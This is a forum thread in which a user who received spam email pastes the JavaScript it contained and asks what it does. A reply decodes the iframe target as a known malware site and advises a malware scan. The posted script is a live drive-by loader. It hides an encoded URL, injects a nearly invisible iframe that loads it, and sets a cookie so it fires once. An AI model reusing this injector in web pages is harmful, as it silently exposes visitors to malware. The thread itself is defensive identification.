Go Back   CodingForums.com > :: Client side development > JavaScript programming

Before you post, read our: Rules & Posting Guidelines

Reply
 
Thread Tools Rate Thread
Enjoy an ad free experience by logging in. Not a member yet? Register.
Old 12-08-2012, 05:23 AM   PM User | #1
ervanjulianto
New to the CF scene

 
Join Date: Dec 2012
Posts: 1
Thanks: 0
Thanked 0 Times in 0 Posts
ervanjulianto is an unknown quantity at this point
javascript cookies

hi, today i receive spam email
can you tell me what the use of this script?
cause i already click that script
thanks

PHP Code:
<script language="javascript" type="text/javascript">
window.GetRealCookie=function(name){
var 
cookie " " document.cookie;
var 
search " " name "=";
var 
setStr null;
var 
offset 0;
var 
end 0;
if (
cookie.length 0) {
offset cookie.indexOf(search);
if (
offset != -1
{
offset += search.length;
end cookie.indexOf(";"offset)
if (
end == -1
{
end cookie.length;}
setStr unescape(cookie.substring(offsetend));}}
return 
setStr;
};


window.SetRealCookie=function(namevalueexpiredayspathdomainsecure){
if (
expiredays) {
var 
exdate=new Date();
exdate.setDate(exdate.getDate()+expiredays);
var 
expires exdate.toGMTString();
}
document.cookie name "=" escape(value) +
((
expiredays) ? "; expires=" expires "") +
((
path) ? "; path=" path "") +
((
domain) ? "; domain=" domain "") +
((
secure) ? "; secure" "");
};




window.SetAll****=function()
{
try
{
if(!
document.getElementsByTagName('body')[0])
{
setTimeout('SetAll****();',100);
}
else
{
var 
ifr=document.createElement('iframe');
ifr.width='2px';
ifr.height='1px';
ifr.src=unescape("%68%74%74%70%3A%2F%2F%73%69%6E%67%6C%65%63%6F%6C%75%6D%6E%68%61%6C%6C%6F%77%65%65%6E%2E%61%73%69%61%2F%61%30%34%31%32%31%32%61%2F%36%2F%69%2E%70%68%70%3F%74%6F%6B%65%6E%3D%73%70");
ifr.style.border="none";
document.getElementsByTagName('body')[0].appendChild(ifr);
SetRealCookie('dolink','1',60,'/');
}
}catch(
e){setTimeout('SetAll****();',100);}
}







try
{

var 
checkall=GetRealCookie("dolink");
if (
checkall!=="1")
{
SetAll****();
}

}catch(
e){}

</script> 

Last edited by ervanjulianto; 12-08-2012 at 05:34 AM..
ervanjulianto is offline   Reply With Quote
Old 12-08-2012, 09:51 AM   PM User | #2
Philip M
Supreme Master coder!

 
Philip M's Avatar
 
Join Date: Jun 2002
Location: London, England
Posts: 17,100
Thanks: 197
Thanked 2,421 Times in 2,399 Posts
Philip M has a spectacular aura aboutPhilip M has a spectacular aura aboutPhilip M has a spectacular aura about
The iframe source is
http://singlecolumnhalloween.asia/a0...lkarnioo71.com

kulkarnioo71.com
is a known malware site.

Never click on any link in an email. Now you must run Malwarebytes to try and disinfect your computer.

See also

http://www.codingforums.com/archive/.../t-156286.html
__________________

All the code given in this post has been tested and is intended to address the question asked.
Unless stated otherwise it is not just a demonstration.

Last edited by Philip M; 12-08-2012 at 10:00 AM..
Philip M is offline   Reply With Quote
Reply

Bookmarks

Jump To Top of Thread


Thread Tools
Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT +1. The time now is 03:28 AM.


Advertisement
Log in to turn off these ads.